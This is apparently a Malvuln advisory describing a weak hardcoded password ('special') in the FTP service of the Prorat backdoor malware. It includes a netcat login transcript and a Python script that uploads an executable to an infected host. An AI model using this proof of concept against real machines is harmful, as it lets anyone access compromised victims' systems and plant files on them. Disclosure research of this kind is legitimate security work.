Backdoor.Win32.Prorat.lkt Weak Hardcoded Password

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/65a53a37843db2b86a67a9e23277c1bf.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Prorat.lkt  
Vulnerability: Weak Hardcoded Password  
Description: The malware listens on TCP port 2121. Authentication is required, however the password "special" is weak and hardcoded in cleartext at offset 0040267C.  
Type: PE32  
MD5: 65a53a37843db2b86a67a9e23277c1bf  
Vuln ID: MVID-2022-0490  
Disclosure: 02/16/2022  
  
Exploit/PoC:  
nc64.exe x.x.x.x 2121  
220 ProSpy FTP Server ready.  
USER special  
331 Password required for special.  
PASS special  
230 User special logged in.  
SYST  
215 UNIX Type: L8 Internet Component Suite  
PASV  
227 Entering Passive Mode (192,168,18,129,201,139).  
STOR DOOM.exe  
150 Opening data connection for DOOM.exe.  
226 File received ok  
  
from socket import *  
  
MALWARE_HOST="192.168.18.129"  
PORT=51595  
DOOM="DOOM.exe"  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
f = open(DOOM, "rb")  
EXE = f.read()  
s.send(EXE)  
  
while EXE:  
s.send(EXE)  
EXE=f.read()  
  
s.close()  
  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
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